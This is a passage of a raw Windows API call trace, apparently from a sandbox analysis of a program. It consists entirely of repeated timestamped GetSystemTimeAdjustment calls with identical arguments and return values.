lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.348] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.348] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.348] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.348] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.348] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.348] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.348] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.349] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.349] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.349] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.349] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.349] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.349] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.349] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.349] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.349] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.349] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.349] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.349] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.350] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.350] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.350] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.350] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.351] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.351] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.351] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.351] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.351] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.351] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.351] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.351] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.351] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.351] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.351] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.351] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.352] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.352] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.352] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.352] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.352] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.352] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.352] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.352] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.352] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.352] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.353] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.353] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.353] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.353] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.353] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.353] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.353] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.353] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.354] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.354] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.354] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.354] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.354] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.354] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.354] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.355] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.355] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.355] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.355] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.355] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.355] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.355] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.355] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.355] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.356] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.356] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.356] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.356] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.356] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.356] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.356] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.356] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.356] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.356] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.357] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.357] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.357] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.357] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.357] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.357] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.357] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.357] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.357] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.357] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.357] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.357] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.358] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.358] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.358] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.359] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.359] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.359] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.359] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.359] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.359] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.359] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0117.359] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, 